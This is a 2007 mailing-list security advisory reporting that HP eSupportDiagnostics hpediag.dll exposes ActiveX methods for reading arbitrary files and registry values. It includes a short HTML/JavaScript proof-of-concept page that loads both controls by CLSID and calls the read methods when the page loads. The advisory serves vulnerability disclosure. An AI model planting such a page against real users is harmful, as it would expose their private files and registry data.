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HP eSupportDiagnostics hpediags.dll Information Disclosure
From: Elazar Broad <elazarb () earthlink net>
Date: Wed, 19 Dec 2007 12:05:48 -0500 (GMT-05:00)

The HP eSupportDiagnostics hpediag.dll exposes some methods that allow the reading of arbitrary files and registry 
values.

hpediag.dll, version 1.0.11.0

PoC as follows:

---------------------

<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var out = fileUtil.ReadTextFile(somePath);
    var out = regUtil.ReadValue(somePath);
 
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
  <object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3-9726713560F8" />
  <object id="regUtil"  classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />
</body>
</html> 

---------------------


Elazar

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